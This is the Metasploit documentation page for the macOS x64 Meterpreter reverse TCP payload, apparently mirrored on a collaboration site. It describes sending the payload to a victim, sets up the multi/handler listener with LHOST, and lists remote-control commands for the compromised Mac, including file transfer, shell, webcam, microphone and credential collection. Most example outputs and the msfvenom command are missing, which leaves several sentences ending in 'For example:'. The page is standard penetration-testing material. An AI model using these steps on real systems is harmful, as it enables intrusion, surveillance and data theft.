Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/documentation/modules/payload/osx/x64/meterpreter/reverse_tcp.md
Views: 11791
osx/x64/meterpreter_reverse_tcp is similar to the linux meterpreter, but built for OSX. It allows you to remotely take over the compromised system, having control of the file system, webcam, microphone, screenshot and collect sensitive information such as credentials using post modules, etc.
Vulnerable Application
osx/x64/meterpreter_reverse_tcp 64-bit MacOSX platforms from 10.8 onwards.
Deploying osx/x64/meterpreter_reverse_tcp
To use osx/x64/meterpreter_reverse_tcp as an executable, first you can generate it with msfvenom:
Before sending the executable to the victim machine, you need to set up the handler on your end:
Start msfconsole
Do:
use exploit/multi/handler
Do:
set PAYLOAD osx/x64/meterpreter_reverse_tcp
Do:
set LHOST [Your IP]
Do:
run
And that should start the listener. When the victim runs the malicious executable, you should receive a session:
Important Basic Commands
Here is a list of some of the common commands you might need while using Meterpreter:
pwd
The pwd
command tells you the current working directory. For example:
cd
The cd
command allows you to change directories. Example:
cat
The cat
command allows you to see the content of a file:
upload
The upload
command allows you to upload a file to the remote target. For example:
download
The download
command allows you to download a file from the remote target to your machine. For example:
ifconfig/ipconfig
ifconfig
and ipconfig
are actually the same thing. They allow you to see the network interfaces on the remote machine.
getuid
The getuid
command tells you the current user that Meterpreter is running on. For example:
execute
The execute
command allows you to execute a command or file on the remote machine. For example:
ps
The ps
command lists the running processes on the remote machine.
shell
The shell
command allows you to interact with the remote machine's terminal (or shell). For example:
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel or [CTRL]+[Z] then y (or the exit command) to terminate the channel.
sysinfo
The sysinfo
command shows you basic information about the remote machine. Such as:
Computer name
OS name
Architecture
Meterpreter type
For example:
Extensions
OSX Meterpreter supports reading and writing to the clipboard with the extapi extension, you can load it with the load
command:
Other commands
For a complete list of OSX Meterpreter commands, do the following at the prompt: